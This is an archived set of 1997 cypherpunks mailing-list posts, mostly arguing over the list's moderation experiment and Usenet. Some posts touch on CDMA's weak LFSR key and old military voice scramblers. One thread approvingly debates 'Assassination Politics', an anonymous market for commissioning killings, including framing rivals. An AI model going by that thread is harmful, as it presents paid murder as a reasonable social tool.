> I've stayed out of the debate about list moderation so far, but a recent
> post from tmcghan@gill-simpson.com reminds me of something I've been
> thinking about.  An interesting way to look at what happened is that John
> Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
> that ownership.  Even though those of us who disagree with the way he has
> done so are free to leave and set up our own mailing list, it is costly to
> do so, and the problem of central name ownership remains.  List
> subscribers have made investments that are specific to the name
> "cypherpunks@toad.com", and most of the cost of switching to a new list is
> in the new investments they would have to (re)make.  The fact is that a
> promise of no censorship is not enough incentive for us to do so. 
>  
> I suspect that the hierarchical nature of name ownership on the Internet
> today will be an important technological barrier for the establishment of
> truly anarchic virtual communities.  Unless this problem is solved, the
> closest we'll come is pseudo-anarchies that exist with the tolerance of
> beneficent dictators.

While the name hierarchy may have some effect similar to what you 
suggest, I think the real issue is more likely economic hierarchy -- 
toad.com is a name of some value, true, but toad.com is also a T1 
connection and some compute power that many people simply can't afford.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:41:48 -0800 (PST)
To: David Farber <farber@cis.upenn.edu>
Subject: Re: concerning Ben Franklin
Message-ID: <199702040541.VAA15779@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


David Farber allegedly said:
> 
> My favorate Ben Franklin quote is
> 
> "They that can give up essential liberty to obtain a little temporary 
>  safety deserve neither liberty nor safety."       - Ben Franklin, ~1784

In the constitutional convention a property requirement for voting 
was discussed.  Franklin said "A man owns an ass; he can vote.  The 
ass dies; he cannot vote.  Who owns the vote?"  (I may not have 
quoted it precisely.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:43:27 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040543.VAA15856@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Scott V. McGuire allegedly said:
[...]
> I didn't change my subscription from the filtered to
> the unfiltered list because I expected this to end in a month and I was
> willing to participate in the experiment.  You can't ask someone to try
> something for a month to see if they like it and call there use of it in
> that month evidence that they like it.

I agree.  But there is more.  As much as anything else, I didn't
change lists because of inertia and laziness.  I suspect that most 
people are like me in this regard.  I suspect that if the tactic had 
been to require people to subscribe to the moderated list we would 
see just the reverse of the current numbers.  In fact, in the 
interests of fairness, integrity, and adherence to the scientific 
method, I suggest that after this month trial has passed that we 
reverse the lists, and see how many change to the moderated list.

[snip]

> Sandy, you said that you thought the list had improved since you began
> moderating.  How could you think otherwise?  When you send an article to
> the flames list its because you think the list would have been worse
> otherwise.  I don't think the moderators opinion should be considered in
> determining if moderation is a good thing.  I think there is a conflict of
> interest there.

Absolutely no doubt that there is a conflict of interest.  In Sandy's shoes 
a saint couldn't be objective.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 3 Feb 1997 20:26:33 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040426.UAA13722@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I agree with two of Tim's points.  I express no opinion about the others,
except that I think these are the two most important. 

(1) I agree with Tim that as a matter of principle, it would be preferable
to create a new moderated list, with a similar but distinguishable name,
and leave the existing list as it was.  I happen to think less turns on
this than does Tim, given the opportunity to exercise truth-in-labeling,
but it seems to me that because the cost of this approach is zero, and it
has real benefits in the eyes of some, it's a no-brainer.  I expect that I
would subscribe to the filtered version.  If someone is really worried
that the new list will be too low traffic (please, G*d), they can send an
automatic ballot to all subscribers, USENET style,asking what list(s) they
want to be on.  My own view is that if you are not ready, willing or able
to read and follow a periodic posting explaining how to sign on/off
various lists (and I assume there should and would be one), I am willing
to take the risk of missing your input.

(2) Much to my surprise, so far moderation is a failure.  I think it is a
failure because it achieves neither of the moderation "sweet spots".  No
moderation is one "sweet spot".  Strict moderation -- the kind you get on
RISKS, where you know nearly every post is on-topic or at least worth your
time -- is another. This is neither. My clumsy procmail filters are almost
as busy as ever.  What slips through is largely duplicative of what I get
from other lists, or is not to my taste. (NB *my taste*.)  And it gets
here slower.  It's true that the venom from anonymous remailers is gone,
and that is a plus, but even so little of what slips through is of
interest modulo other lists.  I happen to think that *stricter* moderation
might lure back some of the better content-providers, but it would help to
set it up in a manner that offends the smallest possible number.

As Oscar Wilde either said, or should have said, the worst crime is to be
boring.   

PS. New members of the list may justly ask, where does he get off calling
the posters he doesn't killfile bores?  I stopped posting a lot to the
list some time ago, back when I decided my energies were better spent
writing long stuff (see my web page) and playing with my kids.  I kept
reading the list primarily to read the work of about six people -- and Tim
was one of them. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Tue, 4 Feb 1997 06:56:38 -0800 (PST)
To: Doug_Merrill@rand.org
Subject: Re: PCS Encryption?
Message-ID: <199702041456.GAA28777@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Phil Karn is, of course, the expert on this -- I hope he'll chime in soon
>-- Phil, you out there??

Yup, I'm out here. Just buried under a pile of email.

>Working from my not-so-great memory, CDMA uses a fixed spreading code that
>is determined by a pretty simple "cipher-like" process.  I believe the
>details are covered by an NDA, sorry.  At any rate, it isn't "encryption"
>by any means -- and tapping it requires little more than building a new
>base station (again, given $ and the fact that you're going to have to
>follow the bloody thing around as it moves).

No, it's not covered by NDA. It is, however, all heavily covered by
Qualcomm patents.  It's all specified in complete detail in TIA
IS-95A. The actual spec is copyrighted TIA (even though we did almost
all the work) but you can find an early version, plus a much more
readable overview paper, through my web page. The air interface is
essentially the same as you'll find on the air.

<http://www.qualcomm.com/people/pkarn/cdma.html>

There is essentially no "encryption" in the usual sense of the word in
CDMA. It is true that the complexity (and until recently, the
obscurity) of the modulation method provides some modest protection
against casual eavesdropping (e.g., someone with a Radio Shack
scanner). But phones containing the necessary ASICs are now being
shipped by the hundreds of thousands per month, and as I said earlier
the complete air interface spec has been public for some time.

I do note that the forward (base to mobile) and reverse (mobile to
base) modulation methods are totally different, because the jobs they
have to do are different. Only the reverse link is truly CDMA, as
there you have many transmitters sending to a single receiver. Both
links are spread to 1.25 MHz bandwidths, but that's about where the
similarities end. The phone ASIC contains only a forward link
demodulator function and a reverse link modulator function. The base
station ASICs are not yet generally available. Also, an echo canceller
in the base station effectively blocks any reverse link audio from
coming back out on the forward link.

Consider also the very low and tightly controlled transmitter powers
typically used on the reverse link. One can now make certain
conclusions about the relative ease of intercepting the forward link
as compared to the reverse link.

The closest thing to "encryption" in CDMA is the "private long key"
mechanism. The private long key is the starting state of a 42-stage
linear feedback shift register (LFSR) that is used to spread (reverse
link) or scramble (forward link) the vocoder data. (The IS-95 signal
path is too complex to describe fully here -- see the documents on my
web page for the details, including the difference between scrambling
and spreading).

As anyone with even a rudimentary knowledge of cryptanalysis knows,
LFSRs are not at all cryptographically secure. The Massey-Berlekamp
algorithm can easily determine the state of the long code shift
register with a short (42-chip) sample of its output. Furthermore, the
long key sequence has other specified uses on the reverse link; in
particular it is used as a pseudorandom sequence generator to control
the puncturing (on-off transmitter gating pattern) when the phone is
transmitting at a low data rate between talk spurts. This obviously
suggests other ways to determine the LFSR state without demodulating
individual CDMA chips.

Nevertheless, NSA has repeatedly objected to the export of the
"private long code" feature, and I'm not even sure it's implemented on
the domestic models currently being deployed.

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 4 Feb 1997 06:41:02 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Dissolving Choke Points
Message-ID: <199702041441.GAA28346@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:59 PM 2/3/97 -0800, Greg Broiles wrote:
>If the list is going to turn into Usenet (we've already got most of 
>Usenet's better kooks), we might as well just move the
>damn thing over to alt.cypherpunks and be done with it. 
>(Anyone care to guess who founded alt.* as a way to route around 
>censorship?)

The big argument against going to a newsgroup in the past
was that signal-to-noise would degrade to the point of alt.2600ness
due to newbies, flamers, overflow to/from political ranting newsgroups, etc.,
and there's already a sci.crypt for that.  The main argument
in favor of moderation has been that the list has become unreadable
due to newbies, flamers, political ranting, and directed attacks
and maybe moderation would fix it, at the cost of annoying people
who don't like moderation (which is realistically most of us;
two practical reasons not to have moderation are that the volume is too high
for most people to be willing to moderate, and that the delays 
inherent in the moderation process reduce the interactivity that's
been one of the valuable things about this list.)  I'd prefer that
we all just get along, but things really were getting uncivil.

An advantage of Usenet is the ability to deploy whatever NoCeM is
called these days as a way to let people avoid spammers.

Personally, I'd switched to the fcpunx filtered list a couple months ago,
mainly to cut down on volume but also because I was getting fed up
with Vulis's attacks through remailers, which were getting to be
too much trouble to filter out.  I switched back to the main list
after the moderation announcement, with Eudora filters
to make some discussions and some people go away.

Of course, there have been several different demonstrations of
ways around the moderation since then.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 4 Feb 1997 06:26:48 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041426.GAA27971@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote:
>I agree with two of Tim's points.  I express no opinion about the others,
>except that I think these are the two most important.
>
>(1) I agree with Tim that as a matter of principle, it would be preferable
>to create a new moderated list, with a similar but distinguishable name,
>and leave the existing list as it was.  I happen to think less turns on

This is a point of view many of the most thoughtful commenters seem to
agree on, isn't it? One would have thought that had Sandy and John really
been interested in hearing the views of list members, this approach would
have eventually won out.

>(2) Much to my surprise, so far moderation is a failure.  I think it is a

It doesn't surprise me, but then I've rarely been a fan of moderation. As
Michael points out below, it mostly works on "RISKS," but in most other
cases I can think of it merely slows discussion down, introduces strange
skewings of opinions (to win "approval" of the moderator), and almost never
causes better posts to be written.

(The case of skilled editors soliciting good articles is of course an
entirely different issue.)

>failure because it achieves neither of the moderation "sweet spots".  No
>moderation is one "sweet spot".  Strict moderation -- the kind you get on
>RISKS, where you know nearly every post is on-topic or at least worth your
>time -- is another. This is neither. My clumsy procmail filters are almost
>as busy as ever.  What slips through is largely duplicative of what I get

Several people have also commented on this, that their filters are still
working overtime. As it should be, really, as no moderator can make the
list match any given person's preferences.

(Personally, I'm not even convinced filters are essential. It takes no
longer than 5 seconds to glance at a message and know whether to scrap it
or not. Granted, it takes a bit of time to download, especially at slower
modem speeds. But whether Sandy's censorship is producing any significant
"savings" depends on how many messages he's sorting into each
pile...clearly if 20% or less of the total posts are being filtered out,
then the savings are ignorable. Anybody have the statistics handy? Hint:
Sandy should publish a periodic accounting of how many messages went into
each pile, and should also publish his criteria on a regular basis,
pointing out any modifications he's made to his criteria since the last
report.)

>As Oscar Wilde either said, or should have said, the worst crime is to be
>boring.

Maybe the list is like the portrait of Dorian Gray, with an image of the
list sitting in a closet at Toad Hall aging not so gracefully.

>PS. New members of the list may justly ask, where does he get off calling
>the posters he doesn't killfile bores?  I stopped posting a lot to the
>list some time ago, back when I decided my energies were better spent
>writing long stuff (see my web page) and playing with my kids.  I kept
>reading the list primarily to read the work of about six people -- and Tim
>was one of them.

Thanks. And I should point out in fairness that Michael recruited me for
his panel on "Governmental and Societal Implications of Digital Cash" (or
something like this) at the upcoming CFP.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Karn <karn@qualcomm.com>
Date: Tue, 4 Feb 1997 06:57:34 -0800 (PST)
To: jya@pipeline.com
Subject: Re: PCS Encryption?
Message-ID: <199702041457.GAA28791@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>While awaiting Phil's response, there's an informative description of 
>Qualcomm's CONDOR device at:

>   http://www.nsa.gov:8080/programs/missi/condor.html

Condor is, of course, a Fortezza (clipper) application, which makes it
less than useful to those outside the government. In fact, from what
I've heard even the potential government users are much more
interested in STU III support. I wonder why...

Phil






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Tue, 4 Feb 1997 06:26:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mailing Lists vs. Usenet
Message-ID: <199702041426.GAA27969@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:59 PM 2/3/1997, Greg Broiles wrote:
> Seriously, if you want a distributed no-choke-points "flooding"
> message distribution system, you're talking about Usenet. Robust
> software exists for clients and servers, and it's already supported
> worldwide on many operating systems. No need to write more software
> to graft that functionality onto E-mail. If the list is going to
> turn into Usenet (we've already got most of Usenet's better kooks),
> we might as well just move the damn thing over to alt.cypherpunks
> and be done with it. (Anyone care to guess who founded alt.* as a
> way to route around censorship?)

> (Of course, Usenet is a technical success and a spectacular failure,
> content-wise. So opponents of moderation will be forgiven for
> failing to mention this sparkling example of an unmoderated,
> anything-goes forum for discussion.)

Several people have brought up this point and it is worth discussing.
There are some differences.

I don't like Usenet's architecture.  It is silly to duplicate vast
amounts of traffic everywhere.  It was a fine idea when there were 100
groups with lots of overlap in what people read.  The horse and buggy
was a good idea once too.

Performance is a problem with Usenet.  The system I envision (nearly
identical to Igor's) would have about ten mail servers, each of which
sends articles to all the others.  Even in situations where something
is wrong, articles will be nearly instantly transmitted along an
alternate path.  I think this is harder to arrange with Usenet.

Competition among Cypherpunks providers works the right way.  If you
are getting your mail on a system which is slow and isn't up all the
time, you have good reasons to switch to another provider.  This is
easy - just subscribe yourself to one mailing list and unsubscribe
from the other.  It's harder for most people to do this with Usenet.
You may not want to switch your ISP to get a better Cypherpunks feed.

In my opinion, Usenet is less conducive to filtering than is mail.  It
is true that there are lots of Usenet readers which can do things like
kill whole threads and the like, but mail just screams "run me through
a perl script!"  This is mostly subjective, of course.

More subjective opinions: I don't like being associated with Usenet.
It is seen as an international bulletin board.  Many people believe
that it is "public" space and should be subject to zoning.  I like the
idea of keeping the cypherpunks list "private".  I like being able to
say "if what's on the list upsets you so much, why did you subscribe?"
This is more effective than "so tell your child not look at Usenet".

I don't like the whole Usenet cabal and all of the voting to decide
which lists to canonize.  Less of an issue with alt.cypherpunks, but
the association is still there.

Peter Hendrickson
ph@netcom.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Tue, 4 Feb 1997 06:26:42 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702041426.GAA27968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:59 PM 2/3/1997, Greg Broiles wrote:
>At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
>> Moderation has been a failure.  I'm pretty good at filtering and I
>> can sadly report that there is very little signal out there.

> I don't think it's reasonable to expect an increase in signal within 2 1/2
> weeks of the start of moderation.

What I have seen is a pretty complete elimination of the signal that
was there.  Some might argue that this is "just" because Tim stopped
posting.  But so what?  The result of moderation was the elimination
of signal.  (Aside: Can anybody think of five members of the list
whose combined contributions clearly exceed Tim's?  I can't.)

Also, I am curious when you expect the benefits of moderation to
arrive.  Two and a half weeks should be plenty of time for a reasoned
creative and interesting discussion to develop.  It hasn't happened.
Instead the value of the list has - in my view - steadily tapered off
since the announcement of moderation.

>> There are lessons to be learned here.  One is that censorship does
>> not promote a stimulating and creative dialogue.

> No, that is a silly lesson to draw from this experiment. There are
> lots of useful and interesting "moderated" (on paper, it's called
> "editing") publications/lists/digests where the content is
> intentionally controlled for content and style.

And in practice people get their friends published.  Ever wonder why
Denning got so much bandwidth on the RISKS list when she had so little
to say?

I don't like edited journals, either.  I prefer to have somebody I
respect say "Did you see so-and-so's paper?  Here's the URL."  Most of
what is in, for instance, peer reviewed scientific journals is fluff
designed to enhance somebody's resume.

Moderation was a good idea when you had a number of people who
couldn't all talk at once in the same room and in which a disruptive
influence could not be easily ignored.

We have better ways to communicate now.  Let's use them.

Peter Hendrickson
pdh@best.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:58:32 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702040158.RAA09697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> cause. Let's kill the list. Once and for all. Let the hard core crypto go
> to Coderpunks, the politics to Cryptography, and the garbage into the void.

What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
Where do they go?

You expect Perry to stick his neck out and approve them?  (Perry
Metzger is the moderator of cryptography@c2.net, started recently as a
moderated version of cypherpunks for those who don't know what the
`cryptography' list is).  The existance of cryptography argues against
the need for `cypherpunks' to be moderated.  Why two competing
moderated lists?

Secondly the status of garbage is in the eye of the beholder.  There
are a few posts which are probably considered garbage by near
everyone, but lots of other stuff which really just depends on what
the reader is interested in.

The problem with censorship or moderation is that it waters down the
absolutism of free speech.  Free speech in electronic media, with
cypherpunks type I, and type II remailers, is the closest thing to
truly free speech yet.

A lot of people seem to regard Jim Bell's assasination politics as
suitable material for censoring.  Yet it is pretty crypto relevant.

Sandy's job is pretty hard to do.  For instance I recently posted
this, which ended up in cpunks-flames, due to being in a thread which
contained a mild flame 2 messages back:

: Diffie-Hellman key generation, there are two main ways of generating
: the diffie-hellman prime modulus, method 1:
: 
: 	p = 2q+1
: 
: where q is a prime also.
: 
: And method 2:
: 
: 	p = r.2q+1
: 
: where q is a prime and r is a randomly generated number.
: 
: With method 1, the security parameter is the size of p in bits (or
: size of q, as they are related).
: 
: With method 2, there are two security parameters, size of q and size
: of p in bits.  
: 
: Method 2 has the advantage that key generation is faster as it is
: quicker to generate new random numbers r, than to repeatedly generate
: trial prime q as you have to do in method 1.  However is the security
: weaker in method 2?  What size of p and q do you have to use to get
: the same security as for same size of p in bits as in method 1?  What
: should be the relationship between the size of p and q?

(I freely admit to injecting additional crypto relevance just for the
fun of seeing it be filtered cpunks-flames -- though I was interested
in discussion also).

> I am well aware of the name recognition and reputation capital associated
> with CP, still I believe it best to *kill the list*.

I'd prefer to see various filtering services offered, and the list
retained.

My main objection with the moderation experiment is that the main list
was renamed.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:25:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702041425.GAA27890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Adam Back wrote:
> > > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> > > an aside, it is ironic that John Gilmore was the guy who started the
> > > alt.* USENET hierarchy, specifically to facilitate freedom of speech).

> > An interesting idea.

What's also interesting is Tim May posting after a long "absence",
and in his post he repeats virtually sentence-for-sentence what
a handful of people have been saying here for the past month.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:26:36 -0800 (PST)
To: Eric Cordian <emc@wire.insync.net>
Subject: Voting on Moderation [was: Dissolving Choke Points]
Message-ID: <199702041426.GAA27943@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Eric Cordian wrote:
> Peter Hendrickson writes:
> > Moderation has been a failure.  I'm pretty good at filtering and I
> > can sadly report that there is very little signal out there.

> The quality of the Cypherpunks list is determined solely by the
> amount of signal.  The amount of noise is irrelevant.
[snip]
> Now that we have moderation, I can't do this while subscribed to the
> main list, and have to live in eternal fear that I am writing for
> an audience of 20 every time I respond to something on the unedited
> list.  Foo on that.

I wonder how Sandy will take the vote on continuing or abandoning
the moderation experiment?

In most states, one juror out of 12 can kill a conviction.

In a revolution such as U.S. 1776, only a tiny percent of the people
supported the revolution.

Will Sandy go with a majority decision (pure democratic), or allow
the moderation to go away if a significant minority wants to kill it?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:56:49 -0800 (PST)
To: tmcghan@gill-simpson.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040156.RAA09634@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



<tmcghan@gill-simpson.com> writes:
> in a message allegedly from:  "Timothy C. May" <tcmay@got.net>
> 
> > I would have had no problem had John announced that he was creating
> > a new list, the "Good Stuff" list, with Sandy has his Chooser of
> > Good Stuff.
> 
> > But by making the _main list_ the censored one, this skewed things
> > considerably.
> 
> > But the clear message by having Sandy censor the
> > main list (the default list, the list name with the main name, the
> > list we all know about, etc.) 
> 
> Now that the horse is out of the barn, ( or maybe not? ), I can't help
> but ask whether one specific 'change to the change' would have
> satisfied most of your objections:  retaining 'cypherpunks' as the
> name of the unedited, all-the-crud-you-can-read-and-then-some,
> version, and adding an 'cp-worthwhile' list for those of us who prefer
> not to wade thru mountains of garbage to glean a few precious tidbits.

That was the objectionable part of the moderation experiment to me.

> What's in a name?  Is perception more important ( to you ) than 
> reality?  If just swapping names between cp and cp-unedited would make
> such a large difference, I humbly suggest to you that you consider how
> much labels need to matter.  Is the title of the group more important
> the the content?  From where I sit, this looks a lot like a
> style-over-substance complaint.

There is a lot in a name.  The name `Cypherpunks' has, or had a
reputation.  Tricks like censoring the list are not helping that
reputation.

This wording indicates that the other two lists are to satisfy
purists:

(relevant output from sending message with body `lists' to
majordomo@toad.com)

: cypherpunks         (THE MAIN LIST)  Fermenting ideas on crypto and society 
: cypherpunks-flames  (FLAMES DELETED BY MODERATOR) Ideas on crypto and society
: cypherpunks-unedited (THE UN-MODERATED LIST) Ideas on crypto and society

The naming convention indicates that cypherpunks is the main list, as
does the ordering (moderated first).  The text in the sign up message:

(extracts from output from sending message with body `info
cypherpunks' to majordomo@toad.com)

:	cypherpunks		moderated to suppress spam and flames
:	cypherpunks-unedited	all submissions, just as they arrived
:	cypherpunks-flames	the submissions that didn't pass moderation

Also I note in passing that if I recall correctly this section used to
give Hugh Daniel's email address.  Seems John is managing majordomo
himself now?  Is Hugh's no longer being list manager related to the
moderation decision?

: For other questions, my list management address is not the best place,
: since I don't read it every day.  To reach me otherwise, send mail to
: 
: 	gnu@toad.com

> It may also be worth noting that the current 'status quo' is a 
> transient experiment, with a fairly short time limit.  When JG, 
> Sandy, et al. evaluate the results with an eye to future 
> direction(s), they may well consider an 'inverted default' for the two
> list names (i.e.:  cp / cp-unedited)

It would be nice also if JG, Sandy et al, took some notice of the list
opinions next time.

It really would have been better to create a _new_ moderated list,
rather than take over the existing list address, and subscribers.

Maybe those who initiated the moderation experiment thought they
wouldn't get many people moving over to the moderated list if they had
to go to that effort.

Another alternative would have been to discontinue `cypherpunks' and
start `cypherpunks-edited' and `cypherpunks-unedited' forcing people
to choose.  I wouldn't have liked that either, but it would have been
a better experiment.  (Likely that would have lost many altogether,
who simply wouldn't have bothered to resubscribe at all).

Several times in the past, a USENET newsgroup alt.cypherpunks was
suggested.  Some people were against it because they felt that it
would attract more noisy posters.

Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
an aside, it is ironic that John Gilmore was the guy who started the
alt.* USENET hierarchy, specifically to facilitate freedom of speech).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:41:05 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702041441.GAA28349@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
[some arguments deleted for lack of time to reply]
> > > Another story: suppose that OKSAS hired me to work for her, but then
> > > our relationships go south and she fires me. Again, her fate is very
> > > unclear, although I would probably spare her life if it were she.

> > If she does it right, with empathy, there is not likely to be a
> > problem.  On the other hand, if she bad-mouths you to prospective
> > employers or customers you want to do business with, you might be
> > inclined to hit her.  This happens a lot when AP is not available.

> ... But would happen more often if it was.

Why, if AP was readily available, would she want to risk being hit
by bad-mouthing you unnecessarily?

> > people who have such money are not going to bump off very many more
> > people than they already do, because:
> > 1. They need the people to make money off of (Mafia rule #4, never
> >    kill someone who owes you money [or is a money source]).

> This is a wrong Mafia rule, they do kill debtors who are in default.

Really?  Then how do they collect their money?  BTW, I heard the rule
from the mouth of a real mob hitman.

> > 2. Rich people have a lot of eyes on them, and it would be easy to
> >    triangulate a series of murders to them, even without hard evidence.
> >    In an AP world, this triangulation/correlation would be enough to
> >    convince people to either shun this killer, or kill him outright.

> When ten people make deals with each other, it becomes hard to
> triangulate. And it is easy, if you know what deals are done, to change
> the result of triangulation: suppose that I know that you borrowed 1
> million from Toto, that my _and_ yours business partner had been
> murdered (by me, but no one knows), and I am afraid that someone will
> triangulate me and implicate me in that murder. I secretly order
> the AP bot to kill Toto, and you get implicated.  Not good.

We all know how people are framed, and we've seen the Hitchcockian
murder scenarios on TV, in movies, etc.  Certainly the CIA et al can
create these scenarios, but what does that have to do with AP as used
by ordinary persons?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 4 Feb 1997 06:26:02 -0800 (PST)
To: Eli Brandt <eli@gs160.sp.cs.cmu.edu>
Subject: Re: FCPUNX:ecure Phones
Message-ID: <199702041426.GAA27891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Don't think I will bore the list with it,

	But a slightly more complex version of this scheme was one of
the major tactical medium security voice scrambling systems used
by the US in the 70's and 80's and even to a slight extent into
the 90's on military radio circuits.   The military version is
called Parkhill and the crypto gear is the KY-65 and KY-75.

	At one time (in the 70's) it was used for at least secret
traffic.  It was downgraded a couple of times since and is now
considered obselete and compromised.  A Parkhill crypto box
can be seen in the NSA museum...

	The NSA version used time inversion (playing voice samples
backwards) and faster shuffling than this one does, and possibly
a more secure key generator.  But it is rumored to have been
broken by more than one opponent, perhaps including drug cartels.

	Its appeal and why it was so extensively used for a while is
that it interfaces to normal voice radio gear at the audio input
and output level rather than requiring different modulations and
complex digital modems integrated into the radio.  It also gives
pretty good speech quality and speaker recognition.

	Its primary replacement is the ANDVT digital voice terminal
which takes advantage of modern DSP technology to implement modems
usable over radio links and vocoders which can produce acceptable
speech at 1200 or 2400 baud.


							Dave Emery
							die@die.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:41:22 -0800 (PST)
To: pdh@best.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040141.RAA09208@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Hendrickson <pdh@best.com> writes:
> There are lessons to be learned here.  One is that censorship does
> not promote a stimulating and creative dialogue.  The cypherpunks list
> right now is about as interesting as hanging out by the 7-11.

Censorship adds a social hierarchy, and this is inevitably resented.

A similar problem existed with ICS (Internet Chess Servers), they
include a MUD like facility where users can discuss chess.  For misc
reasons certain behaviour was frowned on, and a system of control was
added to the software where certain users where given moderator
status, and could kick others off.

